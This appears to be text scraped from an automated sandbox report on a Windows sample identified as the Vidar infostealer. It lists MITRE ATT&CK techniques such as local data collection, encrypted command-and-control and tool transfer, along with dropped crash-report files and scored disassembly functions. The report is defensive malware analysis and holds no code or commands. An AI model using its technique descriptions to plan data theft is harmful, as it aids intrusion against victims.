Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report aZm1EZ2IYr.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Vidar

Yara Signatures

Initial Sample

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_aZm1EZ2IYr.exe_b472e834091e64353d02c5689452117e2161926_ac611e5f_7d43e3d9-5d04-4320-91f6-e292046f10e0\Report.wer

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_aZm1EZ2IYr.exe_b472e834091e64353d02c5689452117e2161926_ac611e5f_c325af49-0a9f-41f3-819f-eca31df3b74a\Report.wer

C:\ProgramData\Microsoft\Windows\WER\Temp\WER49D9.tmp.dmp

C:\ProgramData\Microsoft\Windows\WER\Temp\WER4B41.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WER4B71.tmp.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WER4E0F.tmp.dmp

C:\ProgramData\Microsoft\Windows\WER\Temp\WER50C0.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WER50F0.tmp.xml

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\76561199786602107[1].htm

C:\Users\user\AppData\Local\Temp\delays.tmp

C:\Windows\appcompat\Programs\Amcache.hve

Static File Info

General

Windows Analysis Report
aZm1EZ2IYr.exe

Function 00198995 Relevance: 231.5, APIs: 121, Strings: 11, Instructions: 518
libraryloaderCOMMON

Function 0019C4B7 Relevance: 26.7, APIs: 13, Strings: 2, Instructions: 440
COMMON

Function 00186963 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 161
networkfileCOMMON

Function 0019196C Relevance: 24.6, APIs: 7, Strings: 7, Instructions: 114
comCOMMON

Function 00185482 Relevance: 72.3, APIs: 25, Strings: 16, Instructions: 573
stringnetworkmemoryCOMMON

Function 0018E6A4 Relevance: 70.3, APIs: 30, Strings: 10, Instructions: 289
stringmemoryCOMMON

Function 0018E15B Relevance: 56.3, APIs: 18, Strings: 14, Instructions: 325
registryCOMMON

Function 00185F39 Relevance: 53.0, APIs: 20, Strings: 10, Instructions: 466
networkstringmemoryCOMMON

Function 00193BC6 Relevance: 49.7, APIs: 2, Strings: 26, Instructions: 674
stringCOMMON

Function 00198685 Relevance: 48.2, APIs: 32, Instructions: 154
libraryloaderCOMMON

Function 001969F8 Relevance: 37.0, APIs: 8, Strings: 13, Instructions: 249
sleepCOMMON

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre